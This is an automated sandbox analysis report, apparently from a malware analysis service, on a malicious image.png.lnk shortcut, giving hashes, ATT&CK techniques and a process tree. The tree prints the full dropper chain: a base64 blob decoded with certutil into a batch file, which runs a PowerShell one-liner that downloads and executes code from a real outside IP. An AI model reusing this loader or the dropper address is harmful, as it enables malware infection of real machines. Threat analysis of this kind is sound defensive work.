0e2b29973fbce6a60ac749fc53d6dd4d5331631826f57509ededeade157df35a

General

Target
image.png.lnk
Size 2KB
Sample261030-g41gwsbs8l
SHA256 0e2b29973fbce6a60ac749fc53d6dd4d5331631826f57509ededeade157df35a
MD5 d9bbb834e4441fc01705517a712edcae
SHA1 b15a6cf3b697c1e9066bcf09bfefe1fb5d875fe6
SHA512 c5c87e908d48e21d2c445e681664fcdbc9f07d52e45879ee9b32f866747cdba40c791fcc89447cb64afe1551446b8e9e0ed6da99ddbf6323e2cc1a27ded3a0cd
TLSH
T18751EB1427D90624C7B28E77B8B6A2859E67F813F6618A2D10C0838D9C86A40EC21F3B
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://191.217.210.94/ytrgqw

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	644	powershell.exe
7	644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
644	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
3412	cmd.exe
2032	certutil.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1248	cmd.exe
692	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
644	powershell.exe
644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 3412	1248	cmd.exe	86
PID 3412 wrote to memory of 2032	3412	cmd.exe	87
PID 3412 wrote to memory of 692	3412	cmd.exe	88
PID 692 wrote to memory of 644	692	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\image.png.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c @echo off&echo QGVjaG8gb2ZmDQpwb3dlcnNoZWxsIC1lcCBieXBhc3MgLWMgImlleChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTkxLjIxNy4yMTAuOTQveXRyZ3F3JykiDQooZ290bykgMj5udWwgJiBkZWwgIiV+ZjAiDQo=>C:\Users\Public\htumm.b64&(certutil -f -decode C:\Users\Public\htumm.b64 C:\Users\Public\htumm.cmd >nul 2>nul)&start /min C:\Users\Public\htumm.cmd&del /q C:\Users\Public\htumm.b64 >nul 2>nul
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:3412
- - C:\Windows\system32\certutil.exe
    certutil -f -decode C:\Users\Public\htumm.b64 C:\Users\Public\htumm.cmd
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Public\htumm.cmd
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://191.217.210.94/ytrgqw')"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

1

T1140

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_xwyvtnh4.0jv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwyvtnh4.0jv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

htumm.b64

Path C:\Users\Public\htumm.b64
Size 194B
SHA256 aa013b29e8f1af25aab1adce55669a909dd8ffdaa12d4d88ad38748153c82316
MD5 a152b6806372fc536e754ad540f8fbcd
SHA1 05cc2161720d959b4ec57d42a928dec673a9cc43
SHA512 ab1e44a48c8d371cc5853b31e3a842777f86d720b096f1b83c7e9d2d2c421304ef799a86f25ab325e9b7c99911895f8ff8f5b99b7b086737626985ec3830e500
TLSH
T1ABC02342EC57380F50E8413041401CD5B147D4D41C3487C1425057A40C4175CB502168
MD5 SHA1 SHA512 TLSH

Submit Download

htumm.cmd

Path C:\Users\Public\htumm.cmd
Size 143B
SHA256 00e46620afb3c97dc4d32ad0a31e6f5d953df3cc1f63072af83c2df563c63e22
MD5 c7589d0fde4baad431ee04f5d0688e8f
SHA1 fd41aa43b05da6494bc05ad6c87edb402276efdb
SHA512 75c3a71c65d43953694b18b90580e77d30d4b124f7bc568bbb74d97fa026f6de579da97552279737541b248355487ca6be222f5ff6c982f16f7e75654f2b6208
TLSH
T1DBC02B0D9042F49C6C014DC2C9FEC811D21F1AE302F1F9D0D36F85244C90468E34D19B
MD5 SHA1 SHA512 TLSH

Submit Download

memory/644-4-0x00000286FDCB0000-0x00000286FDCD2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads